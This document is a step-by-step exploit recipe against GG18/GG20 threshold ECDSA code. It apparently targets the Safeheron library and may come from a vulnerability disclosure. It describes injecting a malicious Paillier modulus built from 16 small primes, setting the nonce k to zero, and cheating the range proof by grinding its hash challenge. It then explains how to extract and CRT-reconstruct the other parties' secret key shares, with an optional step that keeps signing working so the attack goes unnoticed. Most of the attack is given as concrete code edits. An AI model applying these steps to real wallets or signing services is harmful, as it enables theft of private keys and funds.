

STEP 1: Inject Paillier modulus

Choose 16 small primes p_1, p_2, \dots, p_{16} of size greater than 2^{16}

Set $n = p \cdot q$ where $p = p_1 \cdot p_2 \cdots p_{16}$ and q is a big prime to match the expected size of n

Set $\lambda = (p_1 - 1) \cdot (p_2 - 1) \cdots (p_{16} - 1) \cdot (q - 1)$ and $\mu = \lambda^{-1} \bmod n$

- Bypass the following in `round0.cpp` of the GG18 keygen

29	
30	<code>// Generate Paillier key pair</code>
31	<code>CreateKeyPair2048(sign_key.local_party_.pail_priv_, sign_key.local_party_.pail_pub_);</code>
32	

- Populate the values below as follows

<pre>// Set Private Key priv.p_ = p; priv.q_ = q; priv.n_ = n; priv.mu_ = mu; priv.lambda_ = lambda; priv.n_sqr_ = n_sqr;</pre>	} Set to $p, q, n, \mu, \lambda, n^2$
<pre>// For fast decryption priv.p_sqr_ = p_sqr; priv.q_sqr_ = q_sqr; priv.p_minus_1_ = p_minus_1; priv.q_minus_1_ = q_minus_1; priv.hp_ = hp; priv.hq_ = hq; priv.q_inv_p_ = q_inv_p; priv.p_inv_q_ = p_inv_q;</pre>	} Set all this to zero
<pre>// Set Public Key pub.n_ = n; pub.g_ = g; pub.n_sqr_ = n_sqr;</pre>	} Set to $n, n+1$, and n^2

STEP 2: Choose k and cheat in the range proof

For $i = 1 \dots 16$ do

(the following is iterated 16 times for separate signing sessions)

- Bypass the following in `round0.cpp` of the GG20 sign (populate $k = 0$)

```

51 // Sample gamma, k in Z_q
52 ctx->local_party_.gamma_ = safeheron::rand::RandomBNLt(curv->n);
53 ctx->local_party_.k_ = safeheron::rand::RandomBNLt(curv->n);
54 ctx->local_party_.Gamma_ = curv->g * ctx->local_party_.gamma_;
55

```

- Bypass the following in `round0.cpp` of the GG20 sign

```

zkp::pail::PailEncRangeWitness_V1 witness(ctx->local_party_.k_,
                                           ctx->local_party_.r_for_pail_for_mta_msg_a_);
ctx->remote_parties_[i].alice_proof_.Prove(setup, statement, witness);

```

- When running the `Prove` above: while $e \bmod p_i \neq 0$, do
Update $\gamma = \gamma + 1$ and $w := w \cdot h^2 \bmod N_{\text{tilde}}$

```

// w = h1^alpha * h2^gamma mod N_tilde
w_ = ( h1.PowM(alpha, N_tilde) * h2.PowM(gamma, N_tilde) ) % N_tilde;

```

...

```

sha256.Finalize(sha256_digest);
BN e = BN::FromBytesBE(sha256_digest, sizeof(sha256_digest));
e = e % q;

```

STEP 3: Extract key material

- When obtaining α below (before taking mod the curve) in `round2.cpp`,
do: $x_i = (\alpha - (\alpha \bmod N/p_i)) / (N/p_i)$

```

    MtA_Step3(ctx->remote_parties_[i].alpha_for_k_w_,
              p2p_message_arr[i].message_b_for_k_w_,
              sign_key.local_party_.pail_priv_,
              curv->n);
}

```

```

void MtA_Step3(BN &alpha, const safeheron::bignum::BN &message_b, const pail::PailPrivKey &pail_priv,
               const safeheron::bignum::BN &order) {
    alpha = pail_priv.Decrypt(message_b);
    alpha = alpha % order;
}

```

Once you have all the x_i 's, reconstruct the key using CRT.

STEP 4 (Optional): *Make it sign*

- When obtaining α below (for both α 's) in `round2.cpp`,
do: $\alpha := \alpha \bmod N/p_i$

```
for (size_t i = 0; i < ctx->remote_parties_.size(); ++i) {  
    MtA_Step3(ctx->remote_parties_[i].alpha_for_k_gamma_,  
              p2p_message_arr[i].message_b_for_k_gamma_,  
              sign_key.local_party_.pail_priv_,  
              curv->n);  
  
    MtA_Step3(ctx->remote_parties_[i].alpha_for_k_w_,  
              p2p_message_arr[i].message_b_for_k_w_,  
              sign_key.local_party_.pail_priv_,  
              curv->n);  
}
```